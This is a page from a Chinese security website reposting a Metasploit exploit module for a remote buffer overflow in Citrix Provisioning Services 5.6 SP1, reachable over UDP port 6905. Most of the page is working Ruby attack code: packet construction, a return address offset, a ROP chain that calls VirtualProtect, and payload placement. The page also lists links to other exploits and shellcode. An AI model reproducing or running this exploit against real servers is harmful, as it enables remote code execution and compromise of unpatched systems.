首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Over
来源:http://www.metasploit.com 作者:alino 发布时间:2012-02-13  
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking
 include Msf::Exploit::Remote::Udp
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
   'Description'    => %q{
    This module exploits a remote buffer overflow in the Citrix Provisioning Services
    5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
    6905/UDP port.  The module has been successfully tested on Windows Server 2003 SP2,
    Windows 7, and Windows XP SP3.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'AbdulAziz Hariri',             # Initial discovery via ZDI
     'alino <26alino[at]gmail.com>'  # Metasploit module
    ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     ['BID', '49803'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-009'],
     ['URL', 'http://support.citrix.com/article/CTX130846']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00",
     'EncoderOptions' => {'BufferRegister'=>'ECX'},
    },
   'Platform'       => ['win'],
   'Targets'        =>
    [
     [ 'Citrix Provisioning Services 5.6 SP1',
      {
       'Offset' => 2012,
       'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
      }
     ]
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Nov 04 2011',  #CTX130846 creation date
   'DefaultTarget'  => 0))
  register_options([Opt::RPORT(6905)], self.class)
 end
 def exploit
  packet =  "\x00\x00\x02\x40" # DATA MSG
  packet << rand_text_alpha_upper(18)
  packet << "\x00\x00\x00\x00" # Length
  packet << rand_text_alpha_upper(target['Offset'])
  packet << [target.ret].pack('V')
  rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
  rop_gadgets =
  [
   0x0045b141, # POP EAX; RETN streamprocess.exe
   0x1009a1bc, # VirtualProtect()
   0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
   0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
   0x004ad0cf, # POP EBP; RETN streamprocess.exe
   0x00455d9d, # PUSH ESP; RETN streamprocess.exe
   0x00497f5a, # POP EAX; RETN streamprocess.exe
   0xfffff9d0, # dwSize
   0x00447669, # NEG EAX; RETN streamprocess.exe
   0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
   0x00426305, # POP ECX; RETN streamprocess.exe
   0x00671fb9, # lpflOldProtect
   0x004e41e6, # POP EDI; RETN streamprocess.exe
   0x0040f004, # RETN streamprocess.exe
   0x00495c05, # POP EAX; RETN streamprocess.exe
   0xffffffc0, # flNewProtect
   0x0042c79a, # NEG EAX; RETN streamprocess.exe
   0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
   0x0045c1fa, # POP EAX; RETN streamprocess.exe
   0x90909090, # NOP
   0x00435bbe, # PUSHAD; RETN streamprocess.exe
  ].pack("V*")
  packet[258, rop_nop.length] = rop_nop
  packet[410, rop_gadgets.length] = rop_gadgets
  packet[494, 10] = "\xeb\x03\x59\xff\xd1\xe8\xf8\xff\xff\xff"
  packet[504, payload.encoded.length] = payload.encoded
  print_status("Trying target #{target.name}...")
  connect_udp
  udp_sock.put(packet)
  handler
  disconnect_udp
 end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·os-x/x86 bind backdoor tcp por
·Adobe Flash Player MP4 Sequenc
·Sysax Multi Server <= 5.52 Fil
·jetVideo 8.0.2 Denial of Servi
·PeerBlock 1.1 BSOD
·Backbox Linux/x86 shutdown sh
·SciTools Understand 2.6 DLL Lo
·Shellcode linux/x86 reverse sh
·mozilla firefox <= 10.0 local
·Backbox /etc/passwd read shell
·TORCS <= 1.3.2 xml buffer over
·Linux x86 BackBox BackConnect
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved